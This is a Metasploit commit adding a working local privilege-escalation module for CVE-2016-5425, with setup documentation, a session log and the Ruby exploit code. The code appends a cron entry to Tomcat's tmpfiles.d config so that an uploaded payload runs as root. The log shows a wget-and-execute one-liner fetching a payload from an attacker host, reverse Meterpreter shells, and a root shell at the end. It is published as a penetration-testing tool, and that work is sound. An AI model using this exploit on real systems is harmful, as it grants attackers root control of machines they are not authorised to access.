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Land #17509, tomcat 7 priv esc on rhel based systems (cve-2016-5425)

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2023-03-14 10:16:18 +00:00
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documentation/modules/exploit/linux/local/tomcat_rhel_based_temp_priv_esc.md
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## Vulnerable Application
This module exploits a vulnerability in RedHat based systems where
improper file permissions are applied to `/usr/lib/tmpfiles.d/tomcat.conf`
for Apache Tomcat versions before 7.0.54-8. This may also work against
The configuration files in `tmpfiles.d` are used by `systemd-tmpfiles` to manage
temporary files including their creation.
With this weak permission, we're able to inject commands into `systemd-tmpfiles`
service to write a cron job to execute our payload.
`systemd-tmpfiles` is executed by default on boot on RedHat-based systems
through `systemd-tmpfiles-setup.service`. Depending on the system in use,
the execution of `systemd-tmpfiles` could also be triggered by other
services, cronjobs, startup scripts etc.
This module was tested against Tomcat 7.0.54-3 on Fedora 21.
### Install
This will install Tomcat 7 (7.0.54-3) on Fedora 21.
We also change the `tomcat` user's shell to `/bin/bash` to make setting up the priv-esc
easier.
```
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/t/tomcat-7.0.54-3.fc21.noarch.rpm
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/t/tomcat-lib-7.0.54-3.fc21.noarch.rpm
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/a/apache-commons-collections-3.2.1-20.fc21.noarch.rpm
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/a/apache-commons-daemon-1.0.15-8.fc21.x86_64.rpm
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/a/apache-commons-dbcp-1.4-16.fc21.noarch.rpm
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/a/apache-commons-logging-1.1.3-14.fc21.noarch.rpm
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/a/apache-commons-pool-1.6-9.fc21.noarch.rpm
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/t/tomcat-el-2.2-api-7.0.54-3.fc21.noarch.rpm
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/t/tomcat-jsp-2.2-api-7.0.54-3.fc21.noarch.rpm
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/t/tomcat-servlet-3.0-api-7.0.54-3.fc21.noarch.rpm
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/e/ecj-4.4.0-1.fc21.noarch.rpm
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/g/geronimo-jta-1.1.1-17.fc21.noarch.rpm
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/g/geronimo-jms-1.1.1-19.fc21.noarch.rpm
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/l/log4j12-1.2.17-7.fc21.noarch.rpm
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/j/javamail-1.5.1-3.fc21.noarch.rpm
rpm -i *.rpm
sudo sed -i 's|/bin/nologin|/bin/bash|g' /etc/passwd
```
You can now `su tomcat` and get your starter shell.
## Verification Steps
1. Install the application
2. Start msfconsole
3. Get an initial shell as the `tomcat` user
4. Do: `use exploit/linux/local/tomcat_rhel_based_temp_priv_esc`
5. Do: `set session #`
6. Do: `run`
7. You should get a root shell.
## Options
### WritableDir
A directory where we can write and execute files. Defaults to `/tmp`.
## Scenarios
### Tomcat 7 (7.0.54-3) on Fedora 21
Initial shell
```
msf6 > use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set lhost 1.1.1.1
lhost => 1.1.1.1
msf6 exploit(multi/script/web_delivery) > set target 7
target => 7
msf6 exploit(multi/script/web_delivery) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/script/web_delivery) >
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Using URL: http://1.1.1.1:8080/fGd5wnh85
[*] Server started.
[*] Run the following command on the target machine:
wget -qO TbT9zhqH --no-check-certificate http://1.1.1.1:8080/fGd5wnh85; chmod +x TbT9zhqH; ./TbT9zhqH& disown
msf6 exploit(multi/script/web_delivery) >
[*] 2.2.2.2 web_delivery - Delivering Payload (250 bytes)
[*] Sending stage (3045348 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:41270) at 2023-01-19 15:22:23 -0500
msf6 exploit(multi/script/web_delivery) > jobs -K
Stopping all jobs...
[*] Server stopped.
msf6 exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: tomcat
meterpreter > sysinfo
Computer : localhost.domain
OS : Fedora 21 (Linux 3.17.4-301.fc21.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > background
[*] Backgrounding session 1...
```
Priv Esc
```
msf6 exploit(multi/script/web_delivery) > use exploit/linux/local/tomcat_rhel_based_temp_priv_esc
[*] Using configured payload linux/x64/meterpreter_reverse_tcp
msf6 exploit(linux/local/tomcat_rhel_based_temp_priv_esc) > set verbose true
verbose => true
msf6 exploit(linux/local/tomcat_rhel_based_temp_priv_esc) > set session 1
session => 1
msf6 exploit(linux/local/tomcat_rhel_based_temp_priv_esc) > set lhost 1.1.1.1
lhost => 1.1.1.1
msf6 exploit(linux/local/tomcat_rhel_based_temp_priv_esc) > exploit
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Vulnerable app version detected: 7.0.54.pre.3
[*] Creating backup of /usr/lib/tmpfiles.d/tomcat.conf
[+] Original /usr/lib/tmpfiles.d/tomcat.conf backed up to /root/.msf4/loot/20230119152336_default_2.2.2.2_usrlibtmpfile_530018.txt
[*] Uploading Payload to /tmp/.4ptbf6f4fW
[*] Writing '/tmp/.4ptbf6f4fW' (1068640 bytes) ...
[*] Writing permission elevation into /usr/lib/tmpfiles.d/tomcat.conf
[*] Creating cron job in /etc/cron.d/grPwZ
[+] Waiting 1800 seconds on tmpfiles-setup.service to restart (/usr/bin/systemd-tmpfiles --create)
[*] Sleeping for 2 seconds before attempting again
[*] Sleeping for 4 seconds before attempting again
[*] Sleeping for 8 seconds before attempting again
[-] /etc/cron.d/grPwZ not found, checking in 10 seconds
[*] Waiting on cron to kick the payload (~1 minute)
[+] Deleted /tmp/.4ptbf6f4fW
[+] Deleted /etc/cron.d/grPwZ
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:41271) at 2023-01-19 15:24:24 -0500
meterpreter > getuid
Server username: root
```
modules/exploits/linux/local/tomcat_rhel_based_temp_priv_esc.rb
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###
#
# This exploit sample shows how an exploit module could be written to exploit
# a bug in a command on a linux computer for priv esc.
#
###
class MetasploitModule < Msf::Exploit::Local
Rank = ManualRanking
include Msf::Exploit::Retry
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Post::Linux::Compile
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache Tomcat on RedHat Based Systems Insecure Temp Config Privilege Escalation',
'Description' => %q{
This module exploits a vulnerability in RedHat based systems where
improper file permissions are applied to /usr/lib/tmpfiles.d/tomcat.conf
for Apache Tomcat versions before 7.0.54-8. This may also work against
The configuration files in tmpfiles.d are used by systemd-tmpfiles to manage
temporary files including their creation.
With this weak permission, we're able to inject commands into systemd-tmpfiles
service to write a cron job to execute our payload.
systemd-tmpfiles is executed by default on boot on RedHat-based systems
through systemd-tmpfiles-setup.service. Depending on the system in use,
the execution of systemd-tmpfiles could also be triggered by other
services, cronjobs, startup scripts etc.
This module was tested against Tomcat 7.0.54-3 on Fedora 21.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'Dawid Golunski <dawid@legalhackers.com>' # original PoC, analysis, discovery
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'DefaultOptions' => {
'WfsDelay' => 1800, # 30min
'payload' => 'linux/x64/meterpreter_reverse_tcp'
},
'References' => [
['EDB', '40488' ],
['URL', 'https://access.redhat.com/security/cve/CVE-2016-5425'],
['URL', 'http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-CVE-2016-5425.html'],
['URL', 'https://www.freedesktop.org/software/systemd/man/tmpfiles.d.html'], # general tompfiles.d info
['CVE', '2016-5425']
],
'DisclosureDate' => '2016-10-10',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS]
}
)
)
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ]),
]
end
# Simplify pulling the writable directory variable
def base_dir
datastore['WritableDir'].to_s
end
def tomcat_conf
'/usr/lib/tmpfiles.d/tomcat.conf'
end
def suid?(file)
get_suid_files(file).include? file
end
def check
package = cmd_exec('rpm -qa | grep "^tomcat\-[678]"')
if package.nil? || package.empty?
return CheckCode::Safe('Unable to execute command to determine installed pacakges')
end
package = package.sub('tomcat-', '').strip
# fedora based cleanup
package = package.sub(/\.fc\d\d\.noarch/, '')
# rhel/centos based cleanup
package = package.sub(/\.el\d_\d\.noarch/, '')
package = Rex::Version.new(package)
# The write-up says 6, 7, 8 but doesn't include version numbers. RHEL's writeup says
# only 7 is effected, so we're going to go off their write-up.
if package.to_s.start_with?('7') && package < Rex::Version.new('7.0.54-8')
return CheckCode::Appears("Vulnerable app version detected: #{package}")
end
CheckCode::Safe("Unexploitable tomcat packages found: #{package}")
end
def exploit
# Check if we're already root
if is_root? && !datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'
end
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
unless writable? tomcat_conf
fail_with Failure::BadConfig, "#{tomcat_conf} is not writable"
end
vprint_status("Creating backup of #{tomcat_conf}")
@tomcat_conf_content = read_file(tomcat_conf)
path = store_loot(
tomcat_conf,
'text/plain',
rhost,
@tomcat_conf_content,
'tomcat.conf'
)
print_good("Original #{tomcat_conf} backed up to #{path}")
# Upload payload executable
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
vprint_status("Uploading Payload to #{payload_path}")
upload_and_chmodx payload_path, generate_payload_exe
register_file_for_cleanup(payload_path)
# write in our payload execution
vprint_status("Writing permission elevation into #{tomcat_conf}")
cron_job = "/etc/cron.d/#{rand_text_alphanumeric(5..10)}"
print_status("Creating cron job in #{cron_job}")
# The POC shows 2 options, a cron answer, and copy bash answer.
# Initially I attempted to copy our payload, set suid and root owner
# however it seemed to need 2 service restart to apply all the permissions.
# I never figured out why it was like that, even chaining copying bash in, then
# launching the payload from the bash instance etc. We opt for the cron
# which may take 1 additional minute, and rely on cron, but is much more stable
cmd_exec("echo 'F #{cron_job} 0644 root root - \"* * * * * root nohup #{payload_path} & \\n\\n\"' >> #{tomcat_conf}")
register_file_for_cleanup(cron_job)
# we now need systemd-tmpfiles to restart
print_good("Waiting #{datastore['WfsDelay']} seconds. Run the following command on the target machine: /usr/bin/systemd-tmpfiles --create - this is required to restart the tmpfiles-setup.service")
succeeded = retry_until_truthy(timeout: datastore['WfsDelay']) do
file? cron_job
end
unless succeeded
print_error("#{cron_job} not found, exploit aborted")
return
end
print_status('Waiting on cron to execute the payload (~1 minute)')
end
def cleanup
unless @tomcat_conf_content.nil?
write_file(tomcat_conf, @tomcat_conf_content)
end
super
end
end